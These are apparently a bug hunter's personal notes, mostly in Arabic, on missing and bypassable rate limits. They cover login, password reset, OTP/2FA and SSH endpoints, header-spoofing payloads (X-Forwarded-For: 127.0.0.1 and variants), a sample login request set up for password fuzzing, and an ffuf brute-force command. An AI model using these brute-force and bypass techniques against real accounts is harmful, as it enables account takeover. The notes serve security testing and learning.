Bypass rate limit

rate limit
1- no rate limit on login page
2- no rate limit on internal password
3- no rate limit on sending reset password link
4- no rate limit on OTP or 2FA => account takeover
5- no rate limit on contact us page
6- no rate limit on comments
7- no rate limit on reports of comments
8- no rate limit on port 22

- اماكن وجودها
- بيبقي مفيش limit للخطا

- 1 - موجوده ف ال login page يعني لو سجلت بباسورد غلط مثلا وموقفكش بعد عدد مرات بتقي ثغره

- 2 - وانت يتغير الباسورد بيطلب الباسورد القديمه لو كتبتها كتير وملقتش في limit تبقي ثغره

- 3 - وانت بتعمل reset password بتحط ايميلك علشان يجيلك link تغير الباسورد
  - لو بتعتت اللينك كتير وملقتش limit تبقي ثغره

- 4 - ملقتش limit فـ OTP //كود يعني تكتبه كتير غلط وميوقفكش تبقي ثغره
  - ممكن تستخدم ال intuder وتخليه يخمنه

- 5 - ف صفحه ال contact us او ال Support بيبقي في limit رسايل تقدر تبعتها لو قدرت تبعت كتير تبقي ثغره

- 6 - بيبقي في limit برضو انك تقدر تعمل عدد معين من الكومنتات وبعدها يوقفك
  - لو قدرت تعمل كومنتات كتير وموقفكش تبقي ثغره

- 7 - لو قدرت تعمل اكتر من report علي comment تبقي ثغره
  - ليك report واحد بس

- 8 - لو لقيت ف الموقع ال port 22 شغال كدا الـ ssh شغال بتعمل connect عليه
- ssh root@ip
  - هيقولك حط الباسورد لو حطيته غلط اكتر من 3 مرات تبقي ثغره

---

bypass rate limit by adding headers
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Origination-IP: 127.0.0.1 or 0.0.0.0
X-Fowarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

- لو في firewall بيمنعك انك تعمل rate limit بتستخدم ال header دي ف burp في الـ intruder مثلا

POST /login.php HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Origination-IP: 127.0.0.1 or 0.0.0.0
X-Fowarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

username=admin&password=

- دا بيبقي مكانها
- وتسيب سطر بعدهم علشان ال fuzz

---

429 => 403
bypass rate limit

ffuf -u https://example.com -w wordlist.txt --data "username=admin&password=FUZZ" -H "X-Forwarded-For: 127.0.0.1" -H "X-Forwarded-For: 127.0.0.1"`

403

- دا مثال لو عزت تضيف header ف ffuf بتستخدم -H